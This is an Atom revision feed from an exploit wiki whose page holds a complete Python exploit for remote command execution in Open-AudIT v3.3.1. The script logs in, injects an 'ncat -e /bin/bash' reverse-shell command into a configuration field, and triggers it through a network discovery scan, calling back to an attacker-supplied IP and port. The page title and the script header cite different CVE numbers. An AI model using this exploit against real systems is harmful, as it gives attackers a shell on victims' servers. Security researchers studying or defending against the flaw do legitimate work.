<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-12078_Open-AudIT_v3.3.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-cn</id>
	<title>CVE-2020-12078 Open-AudIT v3.3.1 遠程命令執行漏洞/zh-cn - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-12078_Open-AudIT_v3.3.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-cn"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-12078_Open-AudIT_v3.3.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;action=history"/>
	<updated>2026-04-13T20:07:37Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-12078_Open-AudIT_v3.3.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=5191&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==漏洞影响==&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-12078_Open-AudIT_v3.3.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=5191&amp;oldid=prev"/>
		<updated>2021-06-16T09:37:45Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==漏洞影响==&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
==漏洞影响==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Open-AudIT v3.3.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
&lt;br /&gt;
# Exploit Title: Open-AudIT Professional v3.3.1 Remote Code Execution&lt;br /&gt;
# Date: 22/04/2020&lt;br /&gt;
# Exploit Author: Askar (@mohammadaskar2)&lt;br /&gt;
# CVE: CVE-2020-8813&lt;br /&gt;
# Vendor Homepage: https://opmantek.com/&lt;br /&gt;
# Version: v3.3.1&lt;br /&gt;
# Tested on: Ubuntu 18.04 / PHP 7.2.24&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import warnings&lt;br /&gt;
import random&lt;br /&gt;
import string&lt;br /&gt;
from bs4 import BeautifulSoup&lt;br /&gt;
from urllib.parse import quote&lt;br /&gt;
&lt;br /&gt;
warnings.filterwarnings(&amp;quot;ignore&amp;quot;, category=UserWarning, module='bs4')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 6:&lt;br /&gt;
   print(&amp;quot;[~] Usage : ./openaudit-exploit.py url username password ip port&amp;quot;)&lt;br /&gt;
   exit()&lt;br /&gt;
&lt;br /&gt;
url = sys.argv[1]&lt;br /&gt;
username = sys.argv[2]&lt;br /&gt;
password = sys.argv[3]&lt;br /&gt;
ip = sys.argv[4]&lt;br /&gt;
port = sys.argv[5]&lt;br /&gt;
&lt;br /&gt;
request = requests.session()&lt;br /&gt;
&lt;br /&gt;
def inject_payload():&lt;br /&gt;
   configuration_path = url+&amp;quot;/en/omk/open-audit/configuration/90&amp;quot;&lt;br /&gt;
   data = 'data={&amp;quot;data&amp;quot;:{&amp;quot;id&amp;quot;:&amp;quot;90&amp;quot;,&amp;quot;type&amp;quot;:&amp;quot;configuration&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;value&amp;quot;:&amp;quot;;ncat${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s${IFS};&amp;quot;}}}' % (ip, port)&lt;br /&gt;
   request.patch(configuration_path, data)&lt;br /&gt;
   print(&amp;quot;[+] Payload injected in settings&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def start_discovery():&lt;br /&gt;
   discovery_path = url+&amp;quot;/en/omk/open-audit/discoveries/create&amp;quot;&lt;br /&gt;
   post_discovery_path = url+&amp;quot;/en/omk/open-audit/discoveries&amp;quot;&lt;br /&gt;
   scan_name = &amp;quot;&amp;quot;.join([random.choice(string.ascii_uppercase) for i in range(10)])&lt;br /&gt;
   req = request.get(discovery_path)&lt;br /&gt;
&lt;br /&gt;
   response = req.text&lt;br /&gt;
   soup = BeautifulSoup(response, &amp;quot;html5lib&amp;quot;)&lt;br /&gt;
   token = soup.findAll('input')[5].get(&amp;quot;value&amp;quot;)&lt;br /&gt;
   buttons = soup.findAll(&amp;quot;button&amp;quot;)&lt;br /&gt;
   headers = {&amp;quot;Referer&amp;quot; : discovery_path}&lt;br /&gt;
   request_data = {&lt;br /&gt;
   &amp;quot;data[attributes][name]&amp;quot;:scan_name,&lt;br /&gt;
   &amp;quot;data[attributes][other][subnet]&amp;quot;:&amp;quot;10.10.10.1/24&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][ad_server]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][ad_domain]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;submit&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[type]&amp;quot;:&amp;quot;discoveries&amp;quot;,&lt;br /&gt;
   &amp;quot;data[access_token]&amp;quot;:token,&lt;br /&gt;
   &amp;quot;data[attributes][complete]&amp;quot;:&amp;quot;y&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][org_id]&amp;quot;:&amp;quot;1&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][type]&amp;quot;:&amp;quot;subnet&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][devices_assigned_to_org]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][devices_assigned_to_location]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][nmap][discovery_scan_option_id]&amp;quot;:&amp;quot;1&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][nmap][ping]&amp;quot;:&amp;quot;y&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][nmap][service_version]&amp;quot;:&amp;quot;n&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][nmap][open|filtered]&amp;quot;:&amp;quot;n&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][nmap][filtered]&amp;quot;:&amp;quot;n&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][nmap][timing]&amp;quot;:&amp;quot;4&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][nmap][nmap_tcp_ports]&amp;quot;:&amp;quot;0&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][nmap][nmap_udp_ports]&amp;quot;:&amp;quot;0&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][nmap][tcp_ports]&amp;quot;:&amp;quot;22,135,62078&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][nmap][udp_ports]&amp;quot;:&amp;quot;161&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][nmap][timeout]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][nmap][exclude_tcp_ports]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][nmap][exclude_udp_ports]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][nmap][exclude_ip]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][nmap][ssh_ports]&amp;quot;:&amp;quot;22&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_dbus]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_fqdn]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_dns_fqdn]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_dns_hostname]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_hostname]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_hostname_dbus]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_hostname_serial]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_hostname_uuid]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_ip]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_ip_no_data]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_mac]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_mac_vmware]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_serial]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_serial_type]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_sysname]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_sysname_serial]&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
   &amp;quot;data[attributes][other][match][match_uuid]&amp;quot;:&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
   }&lt;br /&gt;
   print(&amp;quot;[+] Creating discovery ..&amp;quot;)&lt;br /&gt;
   req = request.post(post_discovery_path, data=request_data, headers=headers, allow_redirects=False)&lt;br /&gt;
   disocvery_url = url + req.headers['Location'] + &amp;quot;/execute&amp;quot;&lt;br /&gt;
   print(&amp;quot;[+] Triggering payload ..&amp;quot;)&lt;br /&gt;
   print(&amp;quot;[+] Check your nc ;)&amp;quot;)&lt;br /&gt;
   request.get(disocvery_url)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def login():&lt;br /&gt;
   login_info = {&lt;br /&gt;
   &amp;quot;redirect_url&amp;quot;: &amp;quot;/en/omk/open-audit&amp;quot;,&lt;br /&gt;
   &amp;quot;username&amp;quot;: username,&lt;br /&gt;
   &amp;quot;password&amp;quot;: password&lt;br /&gt;
   }&lt;br /&gt;
   login_request = request.post(url+&amp;quot;/en/omk/open-audit/login&amp;quot;, login_info)&lt;br /&gt;
   login_text = login_request.text&lt;br /&gt;
   if &amp;quot;There was an error authenticating&amp;quot; in login_text:&lt;br /&gt;
       return False&lt;br /&gt;
   else:&lt;br /&gt;
       return True&lt;br /&gt;
&lt;br /&gt;
if login():&lt;br /&gt;
   print(&amp;quot;[+] LoggedIn Successfully&amp;quot;)&lt;br /&gt;
   inject_payload()&lt;br /&gt;
   start_discovery()&lt;br /&gt;
else:&lt;br /&gt;
   print(&amp;quot;[-] Cannot login!&amp;quot;)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>